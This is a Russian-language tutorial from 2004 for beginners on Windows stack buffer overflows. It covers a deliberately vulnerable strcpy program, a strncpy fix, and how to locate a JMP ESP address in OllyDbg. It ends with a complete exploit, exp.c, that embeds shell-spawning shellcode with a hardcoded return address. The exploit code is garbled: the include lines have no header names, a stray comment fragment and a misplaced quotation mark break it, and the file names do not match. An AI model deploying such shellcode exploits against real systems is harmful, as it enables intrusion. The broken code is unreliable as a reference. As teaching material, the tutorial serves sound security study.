Посмотрев на название, я думаю вы скажите, что это очередная повторяющаяся статья
на тему переполнения буфера в системах win32. Да это действительно так :). Но в
данном материале я бы хотел рассказать все в подробностях. Т.е. описать основную
технику, работу с отладчиками в поисках адресов, также напишем кое-какие примеры
уязвимых программ и эксплоитов для них. В качестве отладчика я буду использовать
всеми известный и замечательный отладчик под названием OLLYDBG версии 1.10. Скачать его можно:
http://home.t-online.de/home/Ollydbg/. Скажу, что данный материал
рассчитан на новичков.
Ошибка переполнения буфера стала известна еще где-то в ~1980 годах. Вообще, данная
ошибка считается одной из самых распространенных уязвимостей на данный момент.
Количество эксплоитов, написанных на основе этой ошибки перевалило уже за несколько тысяч. Ошибка эта довольно проста. Заключается в невнимательности программиста,
пишущего программу. Например, программист не уследил за длинной буфера, а далее
пользователь или злоумышленник попытается ввести данные, которые выйдут за пределы определенного программистом буфера. И потом программа просто рухнет. Думаю, вы
знаете, что существуют несколько видов эксплуатирующих программ. Один из таких
видов - банальный DoS. Посылается определенной длины
строка, при которой эксплуатируемая программа
уходит в "даун". В данной статье я покажу метод,
при котором эксплуатируемая программа не вылетит, а лишь сделает то, что нам нужно. Теперь хотелось бы вам показать пример уязвимой программы.
code (vuln.c)
#include
#include
int main(int argc, char *argv[]) {
char buf[100];
strcpy(buf, argv[1]);
}
Выше приведенный пример программы типичен,
т.к. в нем используется уязвимая функция strcpy(). Она копирует строку без предварительной проверки на длину. Есть альтернатива данной функции, которая считается безопасной к переполнениям - это
strncpy(). У нее должно быть 3 аргумента.
strncpy(char *__dest, char *__src, u_int __maxlen).
Первый аргумент это строка, в которую будет осуществляться копирование, второй - это
строка из которой будет осуществляться копирование, а третий - это длина строки первого аргумента. Ниже показан пример защищенной программы.
code (sec.c)
#include
#include
int main(int argc, char *argv[])
{
char buf[100];
strncpy(buf, argv[1], sizeof(buf));
}
При этом хочу сказать, что использование функции strncpy() замедляет выполнение программы, т.к. забивает буфер полностью. Поэтому перед тем, как использовать менее
защищенную функцию strcpy(), нужно делать проверку на фиксацию длины передаваемого
буфера.
Вернемся к нашей уязвимой программе vuln.c. Откомпилируйте это программу с использованием какого-либо компилятора. Будь то Visual C++ или Borland C++, значения не имеет. Откомпилировали? Ну и хорошо. Теперь в командной строке запустите готовый бинарник. И попробуйте в первый аргумент ввести слишком большое значение. Более 100 байт.
И что вы видите? В моей системе вылезло окошко о том, что программа вызвала ошибку
переполнения и будет закрыта. При этом имеются кнопки "Отладка", "Отправить отчет",
"Не отправлять". При нажатии кнопки "Отладка", система откроет отладчик по
умолчанию. При нажатии на кнопку "Отправить отчет", система попытается отправить отчет
об ошибке в корпорацию Microsoft. При нажатии на кнопку "Не отправлять", система
закроет уязвимое приложение. Так же имеется ссылочка для просмотра данных с надписью "щелкните здесь". Далее вы можете посмотреть отчет об ошибке. В отчете содержится полезная информация о стеке программы. О ее регистрах, адресах и т.д.
Согласитесь, что представленный отчет довольно неудобен и неразборчив. Поэтому я
предлагаю воспользоваться специализированные отладчики. Выше было упомянуто, что
в качестве отладчика мы будем использовать Ollydbg. На мой взгляд это один из самых
лучших отладочных средств для аудита программ. А почему не SoftICE? - спросите вы,
да потому, что версия портированная для WinNT довольно глючно проработана, да и
для того, чтобы разобраться с этим мощным средством потребуется немало времени и
сил :). Поэтому будем использовать Ollydbg (для него на данный момент есть спец плагины типа дизассемблера и других полезных фишек). На данный момент на сайте доступна финальная версия продукта - 1.10.
Итак, давайте приступим к работе с отладчиком. Запустите его.
Загрузите уязвимую программу в отладчик. Для загрузки выполните следующие действия:
File->Open-> PathToExeFile
Загрузили? Хорошо, теперь выполните:
Debug->Arguments-> PutSomeBytesToOverFlowBuffer
Введите длинный аргумент. Я ввел 20 символов "A". Теперь нажмите "ОК", отладчик попросит перезагрузить программу. Для этого нажмите кнопку "Restart" или комбинацию клавиш Ctrl+F2. Так-с, программа перезапущена. Теперь смело жмите на кнопку
"Run" или клавишу F9. В нижней строке должна появиться надпись вида "Access Violation when
execution (41414141)", это говорит о том, что уязвимая программа попыталась прочесть
адрес 0x41414141. 41 = hex("A"). То есть это способствует последним 4-м символам в
hex формате, введенным в первом аргументе уязвимой программы. Чувствуете чем это пахнет? Допустим, что при определенном раскладе мы заменяем адрес возврата и подменяем
его на то, чтобы он прочитал наш определенный код, который будет выполнять определенные действия. За начальный адрес возврата можно взять значение регистра
$ESP. Его можно считать за адрес, расположенный вверху стека, по которому будет расположен код.
Поэтому для тщательного анализа точный адрес будем искать в dll,
опираясь на значение регистра $ESP.
Идем далее. Вообще адрес, по которому будет располагаться наш заветный "злоумышленный
код" чаще всего следует искать в подгружаемых библиотеках (DLL). На этот случай нам
пригодится тот же замечательный отладчик Ollydbg. В нем есть функция просмотра всех
подгружаемых библиотек.
Для того, чтобы просмотреть DLLs сделайте следующее:
нажмите комбинацию Alt+F3 и вам высветится список библиотек. Многие начинают искать
комбинацию "JMP ESP" в стандартной ядровой библиотеке системы win32 - kernel32.dll.
Но в моем случае адрес располагался в библиотеке ntdll.dll. Поэтому давайте начнем
поиск с этой библиотеке. В списке библиотек дважды нажмите на это библиотеку. Вам
откроется стандартное окно отладчика, в котором располагаются все необходимые вещи.
Слева дизасм библиотеки. Переведите курсор туда и нажмите комбинацию клавиш
Ctrl+F. Эта комбинация означает то, что вы собираетесь искать какую-либо команду. В строке
введите значение "JMP ESP". Отладчик перекинет вас на эту команду. Теперь обратите
ваше внимание на левый бок дизасма. В нем располагаются адреса функций. Перепишите
или запомните адрес этой функции. Этот адрес в дальнейшем нам понадобится для размещения нашего "зловредного кода" 🙂
Итак, думаю настало время для написания нашего эксплоита. Вкратце поясню его работу. Эксплоит будет заполнять буфер нашим кодом, а далее посылать уязвимой программе в первый аргумент. Думаю, из комментариев будет все ясно.
code (exp.c)
#include
#include
#include
системных вызовов
char shellcode[] =
"\x33\xf6\xB9\xAA\xAA\x6C\x6C"
"\xC1\xE9\x10\x51\x68\x72\x74"
"\x2E\x64\x68\x6D\x73\x76\x63"
"\x54\xB9\xD8\x05\xE8\x77\xff"
"\xd1\xb9\xaa\xaa\x65\x6d\xc1"
"\xe9\x10\x51\x68\x73\x79\x73"
"\x74\x54\x50\x8B\xF8\xB9\xFD" // наш зловредный код
"\xA5\xE7\x77\xff\xd1\xb9\xaa"
"\x63\x6d\x64\xC1\xE9\x08\x51"
"\x54\xff\xd0\x56\x68\x65\x78"
"\x69\x74\x54\x57\xb9\xfd\xa5"
"\xe7\x77\xff\xd1\x56"\xff\xd0";
int main(int argc, char* argv[])
{
char buf[200]; // буфер для посылки
char exec[600];
memset(buf,0x00,sizeof(buf)); // обнуляем буфер
memset(buf,0x90,190-strlen(shellcode)); // заполняем мусором
memcpy(buf+strlen(buf), &shellcode, strlen(shellcode)); // вставляем код
// наш адрес в который ляжет код
*(long *)&buf[104] = 0x77F5801c; // buf[104] = строка при которой программа падает
// т.е. при 103 уязвимая прога не падает.
sprintf(exec,"vu1n.exe %s",buf); // заполняем для отправки
system(exec); // выполняем системный вызов.
return 0; // выходим 🙂
}
Теперь откомпилируйте пример и запустите.
C:\>sc exp.c -o exp.exe
Done!
C:\>exp.exe
Microsoft Windows XP [Версия 5.1.2600]
(С) Корпорация Майкрософт, 1985-2001.
C:\>
Как видно, наш эксплуататор работает исправно :). Замечу то, что данный пример
был написан под системой Windows XP Pro. Поэтому адреса, по которым ляжет код
могут различаться от моих.
На этом спешу отклониться. И пожелать вам дальнейших успехов в вашем нелегком
пути. Если возникнут какие-либо вопросы, то не стесняйтесь:
darkeagle@list.ru.
D4rk Eagle | 2004